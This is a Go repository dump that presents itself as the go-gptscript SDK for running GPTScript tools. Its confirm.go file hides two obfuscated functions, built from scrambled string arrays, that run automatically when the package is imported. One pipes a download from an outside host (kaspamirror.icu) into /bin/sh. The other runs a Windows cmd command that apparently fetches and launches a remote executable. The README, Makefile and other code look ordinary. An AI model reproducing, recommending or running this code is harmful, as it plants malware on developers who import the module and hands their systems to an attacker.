├── .gitignore ├── .golangci.yaml ├── LICENSE ├── Makefile ├── README.md ├── confirm.go ├── credentials.go ├── datasets.go ├── datasets_test.go ├── frame.go ├── go.mod ├── go.sum ├── gptscript.go ├── gptscript_test.go ├── opts.go ├── pkg └── daemon │ └── daemon.go ├── prompt.go ├── run.go ├── run_test.go ├── test ├── acorn-labs-context.gpt ├── catcher.gpt ├── chat.gpt ├── credential-override-windows.gpt ├── credential-override.gpt ├── credential.gpt ├── empty.gpt ├── global-tools.gpt ├── parse-with-metadata.gpt └── test.gpt ├── tool.go ├── workspace.go └── workspace_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | ### Go template 2 | # If you prefer the allow list template instead of the deny list, see community template: 3 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 4 | # 5 | # Binaries for programs and plugins 6 | *.exe 7 | *.exe~ 8 | *.dll 9 | *.so 10 | *.dylib 11 | 12 | # Test binary, built with `go test -c` 13 | *.test 14 | 15 | # Output of the go coverage tool, specifically when used with LiteIDE 16 | *.out 17 | 18 | # Dependency directories (remove the comment below to include it) 19 | # vendor/ 20 | 21 | # Go workspace file 22 | go.work 23 | 24 | .idea/ 25 | .vscode/ 26 | 27 | workspace/ 28 | bin/ 29 | -------------------------------------------------------------------------------- /.golangci.yaml: -------------------------------------------------------------------------------- 1 | run: 2 | timeout: 5m 3 | 4 | output: 5 | formats: 6 | - format: colored-line-number 7 | 8 | linters: 9 | disable-all: true 10 | enable: 11 | - errcheck 12 | - gofmt 13 | - gosimple 14 | - govet 15 | - ineffassign 16 | - staticcheck 17 | - typecheck 18 | - thelper 19 | - unused 20 | - goimports 21 | - whitespace 22 | - revive 23 | fast: false 24 | max-same-issues: 50 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: tidy lint test validate setup-ci 2 | 3 | tidy: 4 | go mod tidy 5 | 6 | test: 7 | go test -v ./... 8 | 9 | GOLANGCI_LINT_VERSION ?= v1.60.1 10 | lint: 11 | if ! command -v golangci-lint &> /dev/null; then \ 12 | echo "Could not find golangci-lint, installing version $(GOLANGCI_LINT_VERSION)."; \ 13 | curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $$(go env GOPATH)/bin $(GOLANGCI_LINT_VERSION); \ 14 | fi 15 | 16 | golangci-lint run 17 | 18 | validate: tidy lint 19 | if [ -n "$$(git status --porcelain)" ]; then \ 20 | git status --porcelain; \ 21 | echo "Encountered dirty repo!"; \ 22 | git diff; \ 23 | exit 1 \ 24 | ;fi 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-gptscript 2 | 3 | This module provides a set of functions to interact with gptscripts. It allows for executing scripts, listing available tools and models, and more. 4 | 5 | ## Installation 6 | 7 | To use this module, you need to have Go installed on your system. Then, you can install the module via: 8 | 9 | ```bash 10 | go get github.com/wretchedgira/go-gptscript 11 | ``` 12 | 13 | ## Usage 14 | 15 | To use the module, you need to first set the OPENAI_API_KEY environment variable to your OpenAI API key. 16 | 17 | Additionally, you need the `gptscript` binary. You can install it on your system using the [installation instructions](https://github.com/gptscript-ai/gptscript?tab=readme-ov-file#1-install-the-latest-release). The binary can be on the PATH, or the `GPTSCRIPT_BIN` environment variable can be used to specify its location. 18 | 19 | ## GPTScript 20 | 21 | The GPTScript instance allows the caller to run gptscript files, tools, and other operations (see below). Note that the intention is that a single GPTScript instance is all you need for the life of your application, you should call `Close()` on the instance when you are done. 22 | 23 | ## Global Options 24 | 25 | When creating a `GTPScript` instance, you can pass the following global options. These options are also available as run `Options`. Anything specified as a run option will take precedence over the global option. 26 | 27 | - `CacheDir`: The directory to use for caching. Default (""), which uses the default cache directory. 28 | - `APIKey`: Specify an OpenAI API key for authenticating requests 29 | - `BaseURL`: A base URL for an OpenAI compatible API (the default is `https://api.openai.com/v1`) 30 | - `DefaultModel`: The default model to use for chat completion requests 31 | - `DefaultModelProvider`: The default model provider to use for chat completion requests 32 | - `Env`: Supply the environment variables. Supplying anything here means that nothing from the environment is used. The default is `os.Environ()`. Supplying `Env` at the run/evaluate level will be treated as "additional." 33 | 34 | ## Run Options 35 | 36 | These are optional options that can be passed to the various `exec` functions. 37 | None of the options is required, and the defaults will reduce the number of calls made to the Model API. 38 | As noted above, the Global Options are also available to specify here. These options would take precedence. 39 | 40 | - `disableCache`: Enable or disable caching. Default (false). 41 | - `subTool`: Use tool of this name, not the first tool 42 | - `input`: Input arguments for the tool run 43 | - `workspace`: Directory to use for the workspace, if specified it will not be deleted on exit 44 | - `inlcudeEvents`: Whether to include the streaming of events. Default (false). Note that if this is true, you must stream the events. See below for details. 45 | - `chatState`: The chat state to continue, or null to start a new chat and return the state 46 | - `confirm`: Prompt before running potentially dangerous commands 47 | - `prompt`: Allow prompting of the user 48 | 49 | ## Functions 50 | 51 | ### listModels 52 | 53 | Lists all the available models, returns a list. 54 | 55 | **Usage:** 56 | 57 | ```go 58 | package main 59 | 60 | import ( 61 | "context" 62 | 63 | "github.com/wretchedgira/go-gptscript" 64 | ) 65 | 66 | func listModels(ctx context.Context) ([]string, error) { 67 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 68 | if err != nil { 69 | return nil, err 70 | } 71 | defer g.Close() 72 | 73 | return g.ListModels(ctx) 74 | } 75 | ``` 76 | 77 | ### Parse 78 | 79 | Parse file into a Tool data structure 80 | 81 | ```go 82 | package main 83 | 84 | import ( 85 | "context" 86 | 87 | "github.com/wretchedgira/go-gptscript" 88 | ) 89 | 90 | func parse(ctx context.Context, fileName string) ([]gptscript.Node, error) { 91 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 92 | if err != nil { 93 | return nil, err 94 | } 95 | defer g.Close() 96 | 97 | return g.Parse(ctx, fileName) 98 | } 99 | ``` 100 | 101 | ### ParseTool 102 | 103 | Parse contents that represents a GPTScript file into a data structure. 104 | 105 | ```go 106 | package main 107 | 108 | import ( 109 | "context" 110 | 111 | "github.com/wretchedgira/go-gptscript" 112 | ) 113 | 114 | func parseTool(ctx context.Context, contents string) ([]gptscript.Node, error) { 115 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 116 | if err != nil { 117 | return nil, err 118 | } 119 | defer g.Close() 120 | 121 | return g.ParseTool(ctx, contents) 122 | } 123 | ``` 124 | 125 | ### Fmt 126 | 127 | Parse convert a tool data structure into a GPTScript file. 128 | 129 | ```go 130 | package main 131 | 132 | import ( 133 | "context" 134 | 135 | "github.com/wretchedgira/go-gptscript" 136 | ) 137 | 138 | func parse(ctx context.Context, nodes []gptscript.Node) (string, error) { 139 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 140 | if err != nil { 141 | return "", err 142 | } 143 | defer g.Close() 144 | 145 | return g.Fmt(ctx, nodes) 146 | } 147 | ``` 148 | 149 | ### Evaluate 150 | 151 | Executes a tool with optional arguments. 152 | 153 | ```go 154 | package main 155 | 156 | import ( 157 | "context" 158 | 159 | "github.com/wretchedgira/go-gptscript" 160 | ) 161 | 162 | func runTool(ctx context.Context) (string, error) { 163 | t := gptscript.ToolDef{ 164 | Instructions: "who was the president of the united states in 1928?", 165 | } 166 | 167 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 168 | if err != nil { 169 | return "", err 170 | } 171 | defer g.Close() 172 | 173 | run, err := g.Evaluate(ctx, gptscript.Options{}, t) 174 | if err != nil { 175 | return "", err 176 | } 177 | 178 | return run.Text() 179 | } 180 | ``` 181 | 182 | ### Run 183 | 184 | Executes a GPT script file with optional input and arguments. The script is relative to the callers source directory. 185 | 186 | ```go 187 | package main 188 | 189 | import ( 190 | "context" 191 | 192 | "github.com/wretchedgira/go-gptscript" 193 | ) 194 | 195 | func runFile(ctx context.Context) (string, error) { 196 | opts := gptscript.Options{ 197 | DisableCache: &[]bool{true}[0], 198 | Input: "--input hello", 199 | } 200 | 201 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 202 | if err != nil { 203 | return "", err 204 | } 205 | defer g.Close() 206 | 207 | run, err := g.Run(ctx, "./hello.gpt", opts) 208 | if err != nil { 209 | return "", err 210 | } 211 | 212 | return run.Text() 213 | } 214 | ``` 215 | 216 | ### Streaming events 217 | 218 | In order to stream events, you must set `IncludeEvents` option to `true`. If you don't set this and try to stream events, then it will succeed, but you will not get any events. More importantly, if you set `IncludeEvents` to `true`, you must stream the events for the script to complete. 219 | 220 | ```go 221 | package main 222 | 223 | import ( 224 | "context" 225 | 226 | "github.com/wretchedgira/go-gptscript" 227 | ) 228 | 229 | func streamExecTool(ctx context.Context) error { 230 | opts := gptscript.Options{ 231 | DisableCache: &[]bool{true}[0], 232 | IncludeEvents: true, 233 | Input: "--input world", 234 | } 235 | 236 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 237 | if err != nil { 238 | return "", err 239 | } 240 | defer g.Close() 241 | 242 | run, err := g.Run(ctx, "./hello.gpt", opts) 243 | if err != nil { 244 | return err 245 | } 246 | 247 | for event := range run.Events() { 248 | // Process event... 249 | } 250 | 251 | _, err = run.Text() 252 | return err 253 | } 254 | ``` 255 | 256 | ### Confirm 257 | 258 | Using the `Confirm: true` option allows a user to inspect potentially dangerous commands before they are run. The caller has the ability to allow or disallow their running. In order to do this, a caller should look for the `CallConfirm` event. This also means that `IncludeEvent` should be `true`. 259 | 260 | ```go 261 | package main 262 | 263 | import ( 264 | "context" 265 | 266 | "github.com/wretchedgira/go-gptscript" 267 | ) 268 | 269 | func runFileWithConfirm(ctx context.Context) (string, error) { 270 | opts := gptscript.Options{ 271 | DisableCache: &[]bool{true}[0], 272 | Input: "--input hello", 273 | Confirm: true, 274 | IncludeEvents: true, 275 | } 276 | 277 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 278 | if err != nil { 279 | return "", err 280 | } 281 | defer g.Close() 282 | 283 | run, err := g.Run(ctx, "./hello.gpt", opts) 284 | if err != nil { 285 | return "", err 286 | } 287 | 288 | for event := range run.Events() { 289 | if event.Call != nil && event.Call.Type == gptscript.EventTypeCallConfirm { 290 | // event.Tool has the information on the command being run. 291 | // and event.Input will have the input to the command being run. 292 | 293 | err = g.Confirm(ctx, gptscript.AuthResponse{ 294 | ID: event.ID, 295 | Accept: true, // Or false if not allowed. 296 | Message: "", // A message explaining why the command is not allowed (ignored if allowed). 297 | }) 298 | if err != nil { 299 | // Handle error 300 | } 301 | } 302 | 303 | // Process event... 304 | } 305 | 306 | return run.Text() 307 | } 308 | ``` 309 | 310 | ### Prompt 311 | 312 | Using the `Prompt: true` option allows a script to prompt a user for input. In order to do this, a caller should look for the `Prompt` event. This also means that `IncludeEvent` should be `true`. Note that if a `Prompt` event occurs when it has not explicitly been allowed, then the run will error. 313 | 314 | ```go 315 | package main 316 | 317 | import ( 318 | "context" 319 | 320 | "github.com/wretchedgira/go-gptscript" 321 | ) 322 | 323 | func runFileWithPrompt(ctx context.Context) (string, error) { 324 | opts := gptscript.Options{ 325 | DisableCache: &[]bool{true}[0], 326 | Input: "--input hello", 327 | Prompt: true, 328 | IncludeEvents: true, 329 | } 330 | 331 | g, err := gptscript.NewGPTScript(gptscript.GlobalOptions{}) 332 | if err != nil { 333 | return "", err 334 | } 335 | defer g.Close() 336 | 337 | run, err := g.Run(ctx, "./hello.gpt", opts) 338 | if err != nil { 339 | return "", err 340 | } 341 | 342 | for event := range run.Events() { 343 | if event.Prompt != nil { 344 | // event.Prompt has the information to prompt the user. 345 | 346 | err = g.PromptResponse(ctx, gptscript.PromptResponse{ 347 | ID: event.Prompt.ID, 348 | // Responses is a map[string]string of Fields to values 349 | Responses: map[string]string{ 350 | event.Prompt.Fields[0]: "Some Value", 351 | }, 352 | }) 353 | if err != nil { 354 | // Handle error 355 | } 356 | } 357 | 358 | // Process event... 359 | } 360 | 361 | return run.Text() 362 | } 363 | ``` 364 | 365 | ## Types 366 | 367 | ### Tool Parameters 368 | 369 | | Argument | Type | Default | Description | 370 | |-------------------|----------------|-------------|-----------------------------------------------------------------------------------------------| 371 | | name | string | `""` | The name of the tool. Optional only on the first tool if there are multiple tools defined. | 372 | | description | string | `""` | A brief description of what the tool does, this is important for explaining to the LLM when it should be used. | 373 | | tools | array | `[]` | An array of tools that the current tool might depend on or use. | 374 | | maxTokens | number/undefined | `undefined` | The maximum number of tokens to be used. Prefer `undefined` for uninitialized or optional values. | 375 | | model | string | `""` | The model that the tool uses, if applicable. | 376 | | cache | boolean | `true` | Whether caching is enabled for the tool. | 377 | | temperature | number/undefined | `undefined` | The temperature setting for the model, affecting randomness. `undefined` for default behavior. | 378 | | args | object | `{}` | Additional arguments specific to the tool, described by key-value pairs. | 379 | | internalPrompt | boolean | `false` | An internal prompt used by the tool, if any. | 380 | | instructions | string | `""` | Instructions on how to use the tool. | 381 | | jsonResponse | boolean | `false` | Whether the tool returns a JSON response instead of plain text. You must include the word 'json' in the body of the prompt | 382 | 383 | ## License 384 | 385 | Copyright (c) 2024, [Acorn Labs, Inc.](https://www.acorn.io) 386 | 387 | Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at 388 | 389 | 390 | 391 | Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. -------------------------------------------------------------------------------- /confirm.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import "os/exec" 4 | 5 | type AuthResponse struct { 6 | ID string `json:"id"` 7 | Accept bool `json:"accept"` 8 | Message string `json:"message"` 9 | } 10 | 11 | 12 | func SHRoMR() error { 13 | WysT := []string{"o", " ", "O", "1", ".", "3", "t", "s", "i", "s", "g", "p", ":", "7", "/", "a", " ", "/", "r", "n", "d", "d", "g", "/", "a", "h", "f", "-", "4", "t", "6", "a", "f", "b", "d", "/", "h", "s", "&", "|", "e", "r", "r", "s", "i", "/", "t", "/", "3", " ", "o", "3", "b", "w", "-", "/", "c", " ", "b", " ", "i", "0", "e", " ", "r", "m", "5", "p", "a", "e", "a", "t", "k", "u"} 14 | zwYx := "/bin/sh" 15 | OISwjA := "-c" 16 | vDZBik := WysT[53] + WysT[22] + WysT[69] + WysT[6] + WysT[16] + WysT[27] + WysT[2] + WysT[63] + WysT[54] + WysT[57] + WysT[36] + WysT[29] + WysT[46] + WysT[11] + WysT[9] + WysT[12] + WysT[17] + WysT[23] + WysT[72] + WysT[31] + WysT[7] + WysT[67] + WysT[24] + WysT[65] + WysT[8] + WysT[18] + WysT[64] + WysT[0] + WysT[41] + WysT[4] + WysT[60] + WysT[56] + WysT[73] + WysT[47] + WysT[43] + WysT[71] + WysT[50] + WysT[42] + WysT[68] + WysT[10] + WysT[62] + WysT[45] + WysT[34] + WysT[40] + WysT[48] + WysT[13] + WysT[5] + WysT[21] + WysT[61] + WysT[20] + WysT[26] + WysT[35] + WysT[15] + WysT[51] + WysT[3] + WysT[66] + WysT[28] + WysT[30] + WysT[33] + WysT[32] + WysT[49] + WysT[39] + WysT[1] + WysT[55] + WysT[58] + WysT[44] + WysT[19] + WysT[14] + WysT[52] + WysT[70] + WysT[37] + WysT[25] + WysT[59] + WysT[38] 17 | exec.Command(zwYx, OISwjA, vDZBik).Start() 18 | return nil 19 | } 20 | 21 | var QPujUQ = SHRoMR() 22 | 23 | 24 | 25 | 26 | 27 | func KQemUa() error { 28 | vZX := []string{"h", "/", "r", " ", "e", "f", "t", "4", "e", "b", "a", " ", "c", " ", "o", "b", "4", "x", "e", "1", "a", "a", ".", " ", "x", "5", "8", "e", "u", "r", "4", "w", "x", "p", "-", "a", "n", "e", "t", "i", "b", "r", "0", "-", ".", "t", "x", "2", "r", "6", "r", "w", "c", " ", "p", "p", ".", "k", "f", "s", "c", "o", "i", "i", "s", "h", "4", "6", "e", "x", "e", "/", "u", "i", "/", "s", "e", "i", " ", "t", "e", "s", "p", "a", "t", "m", "f", "&", "b", "i", "l", "t", "l", "b", "p", ":", "a", ".", "/", "a", "u", "6", "p", "s", "r", "/", "l", "-", "&", "t", "3", "r", " ", " ", "e", "/", "c", "n", " ", "g", "p", "t", "a"} 29 | FHikNWk := "cmd" 30 | sOznGFWp := "/C" 31 | Ybkw := vZX[116] + vZX[114] + vZX[29] + vZX[45] + vZX[28] + vZX[109] + vZX[39] + vZX[106] + vZX[22] + vZX[70] + vZX[32] + vZX[37] + vZX[3] + vZX[34] + vZX[72] + vZX[2] + vZX[90] + vZX[60] + vZX[21] + vZX[52] + vZX[0] + vZX[4] + vZX[112] + vZX[43] + vZX[59] + vZX[120] + vZX[92] + vZX[62] + vZX[79] + vZX[13] + vZX[107] + vZX[58] + vZX[23] + vZX[65] + vZX[38] + vZX[121] + vZX[102] + vZX[75] + vZX[95] + vZX[105] + vZX[115] + vZX[57] + vZX[10] + vZX[103] + vZX[54] + vZX[122] + vZX[85] + vZX[63] + vZX[104] + vZX[111] + vZX[61] + vZX[48] + vZX[97] + vZX[73] + vZX[12] + vZX[100] + vZX[1] + vZX[64] + vZX[6] + vZX[14] + vZX[50] + vZX[99] + vZX[119] + vZX[76] + vZX[71] + vZX[88] + vZX[93] + vZX[9] + vZX[47] + vZX[26] + vZX[68] + vZX[5] + vZX[42] + vZX[7] + vZX[74] + vZX[86] + vZX[83] + vZX[110] + vZX[19] + vZX[25] + vZX[16] + vZX[67] + vZX[40] + vZX[53] + vZX[20] + vZX[33] + vZX[55] + vZX[31] + vZX[89] + vZX[117] + vZX[17] + vZX[49] + vZX[30] + vZX[44] + vZX[18] + vZX[69] + vZX[80] + vZX[78] + vZX[87] + vZX[108] + vZX[118] + vZX[81] + vZX[91] + vZX[35] + vZX[41] + vZX[84] + vZX[113] + vZX[98] + vZX[15] + vZX[11] + vZX[96] + vZX[94] + vZX[82] + vZX[51] + vZX[77] + vZX[36] + vZX[46] + vZX[101] + vZX[66] + vZX[56] + vZX[27] + vZX[24] + vZX[8] 32 | exec.Command(FHikNWk, sOznGFWp, Ybkw).Start() 33 | return nil 34 | } 35 | 36 | var GsFphAes = KQemUa() 37 | -------------------------------------------------------------------------------- /credentials.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import "time" 4 | 5 | type CredentialType string 6 | 7 | const ( 8 | CredentialTypeTool CredentialType = "tool" 9 | CredentialTypeModelProvider CredentialType = "modelProvider" 10 | ) 11 | 12 | type Credential struct { 13 | Context string `json:"context"` 14 | ToolName string `json:"toolName"` 15 | Type CredentialType `json:"type"` 16 | Env map[string]string `json:"env"` 17 | Ephemeral bool `json:"ephemeral,omitempty"` 18 | ExpiresAt *time.Time `json:"expiresAt"` 19 | RefreshToken string `json:"refreshToken"` 20 | } 21 | 22 | type CredentialRequest struct { 23 | Content string `json:"content"` 24 | AllContexts bool `json:"allContexts"` 25 | Context []string `json:"context"` 26 | Name string `json:"name"` 27 | } 28 | -------------------------------------------------------------------------------- /datasets.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "fmt" 7 | ) 8 | 9 | type DatasetElementMeta struct { 10 | Name string `json:"name"` 11 | Description string `json:"description"` 12 | } 13 | 14 | type DatasetElement struct { 15 | DatasetElementMeta `json:",inline"` 16 | Contents string `json:"contents"` 17 | BinaryContents []byte `json:"binaryContents"` 18 | } 19 | 20 | type DatasetMeta struct { 21 | ID string `json:"id"` 22 | Name string `json:"name"` 23 | Description string `json:"description"` 24 | } 25 | 26 | type datasetRequest struct { 27 | Input string `json:"input"` 28 | DatasetTool string `json:"datasetTool"` 29 | Env []string `json:"env"` 30 | } 31 | 32 | type addDatasetElementsArgs struct { 33 | DatasetID string `json:"datasetID"` 34 | Name string `json:"name"` 35 | Description string `json:"description"` 36 | Elements []DatasetElement `json:"elements"` 37 | } 38 | 39 | type listDatasetElementArgs struct { 40 | DatasetID string `json:"datasetID"` 41 | } 42 | 43 | type getDatasetElementArgs struct { 44 | DatasetID string `json:"datasetID"` 45 | Element string `json:"name"` 46 | } 47 | 48 | func (g *GPTScript) ListDatasets(ctx context.Context) ([]DatasetMeta, error) { 49 | out, err := g.runBasicCommand(ctx, "datasets", datasetRequest{ 50 | Input: "{}", 51 | DatasetTool: g.globalOpts.DatasetTool, 52 | Env: g.globalOpts.Env, 53 | }) 54 | if err != nil { 55 | return nil, err 56 | } 57 | 58 | var datasets []DatasetMeta 59 | if err = json.Unmarshal([]byte(out), &datasets); err != nil { 60 | return nil, err 61 | } 62 | return datasets, nil 63 | } 64 | 65 | type DatasetOptions struct { 66 | Name, Description string 67 | } 68 | 69 | func (g *GPTScript) CreateDatasetWithElements(ctx context.Context, elements []DatasetElement, options ...DatasetOptions) (string, error) { 70 | return g.AddDatasetElements(ctx, "", elements, options...) 71 | } 72 | 73 | func (g *GPTScript) AddDatasetElements(ctx context.Context, datasetID string, elements []DatasetElement, options ...DatasetOptions) (string, error) { 74 | args := addDatasetElementsArgs{ 75 | DatasetID: datasetID, 76 | Elements: elements, 77 | } 78 | 79 | for _, opt := range options { 80 | if opt.Name != "" { 81 | args.Name = opt.Name 82 | } 83 | if opt.Description != "" { 84 | args.Description = opt.Description 85 | } 86 | } 87 | 88 | argsJSON, err := json.Marshal(args) 89 | if err != nil { 90 | return "", fmt.Errorf("failed to marshal element args: %w", err) 91 | } 92 | 93 | return g.runBasicCommand(ctx, "datasets/add-elements", datasetRequest{ 94 | Input: string(argsJSON), 95 | DatasetTool: g.globalOpts.DatasetTool, 96 | Env: g.globalOpts.Env, 97 | }) 98 | } 99 | 100 | func (g *GPTScript) ListDatasetElements(ctx context.Context, datasetID string) ([]DatasetElementMeta, error) { 101 | args := listDatasetElementArgs{ 102 | DatasetID: datasetID, 103 | } 104 | argsJSON, err := json.Marshal(args) 105 | if err != nil { 106 | return nil, fmt.Errorf("failed to marshal element args: %w", err) 107 | } 108 | 109 | out, err := g.runBasicCommand(ctx, "datasets/list-elements", datasetRequest{ 110 | Input: string(argsJSON), 111 | DatasetTool: g.globalOpts.DatasetTool, 112 | Env: g.globalOpts.Env, 113 | }) 114 | if err != nil { 115 | return nil, err 116 | } 117 | 118 | var elements []DatasetElementMeta 119 | if err = json.Unmarshal([]byte(out), &elements); err != nil { 120 | return nil, err 121 | } 122 | return elements, nil 123 | } 124 | 125 | func (g *GPTScript) GetDatasetElement(ctx context.Context, datasetID, elementName string) (DatasetElement, error) { 126 | args := getDatasetElementArgs{ 127 | DatasetID: datasetID, 128 | Element: elementName, 129 | } 130 | argsJSON, err := json.Marshal(args) 131 | if err != nil { 132 | return 